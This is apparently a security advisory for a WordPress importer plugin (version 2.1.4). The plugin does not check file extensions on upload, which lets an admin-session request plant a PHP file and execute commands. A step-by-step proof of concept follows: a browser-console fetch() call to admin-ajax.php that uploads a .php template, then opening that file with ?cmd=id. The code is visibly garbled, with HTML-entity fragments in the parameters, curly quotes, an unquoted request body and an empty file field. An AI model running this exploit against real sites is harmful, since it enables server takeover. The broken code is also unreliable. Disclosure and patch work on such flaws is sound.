Description The plugin does not filter file extensions for uploaded files, allowing an attacker to upload a malicious PHP file, leading to Remote Code Execution.
NOTE: Because of an error in this version of the plugin, the following POC only works on PHP versions previous to 8.0. 1. As an admin, visit /wp-admin/options-general.php?page=moove-importer
2. Run the following code in the browser console: await fetch( ‘/wp-admin/admin-ajax.php’, { credentials: ‘include’, method: ‘POST’, headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’ }, body: action=moove_save_import_template&type;=upload&extension;=php&file;=&form;_data[post_title]=RCE&nonce;=${document.querySelector('input[name=moove_xml_admin_nonce]').value}
} ) 3. Visit /wp-admin/options-general.php?page=moove-importer&tab;=plugin_templates
and click on the latest Template which was created. 4. Copy the URL from the field “Type the file URL”. 5. Paste the link into the browser URL bar, and add ?cmd=id
. 6. Load the page and see the output of the id
command.
CPE | Name | Operator | Version |
---|---|---|---|
eq | 2.1.4 |